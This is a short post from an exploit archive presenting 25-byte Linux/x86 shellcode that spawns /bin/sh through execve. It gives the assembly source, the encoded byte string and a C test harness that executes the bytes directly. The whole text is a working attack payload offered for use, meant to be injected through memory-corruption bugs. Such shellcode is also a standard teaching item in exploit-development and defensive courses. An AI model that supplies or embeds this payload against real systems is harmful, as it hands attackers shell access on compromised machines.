Linux/x86 - execve /bin/sh Shellcode (25 bytes)

# Exploit Title: Linux/x86 - execve /bin/sh ShellCode (25 bytes)
# Author: bolonobolo
# Vendor Homepage: None
# Software Link: None
# Tested on: Linux x86
# CVE: N/A
 
/*
global _start                   
 
section .text
_start:
 
 
        cdq                     ; xor edx
        mul edx
        lea ecx, [eax]
        mov esi, 0x68732f2f
        mov edi, 0x6e69622f
        push ecx                ; push NULL in stack
        push esi
        push edi                ; push hs/nib// in stack
        lea ebx, [esp]          ; load stack pointer to ebx
        mov al, 0xb             ; load execve in eax
        int 0x80                ; execute
 
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";
 
void main()
{
 
        printf("Shellcode Length:  %d\n", strlen(code));
 
        int (*ret)() = (int(*)())code;
 
        ret();
 
}
 
#  0day.today [2019-10-29]  #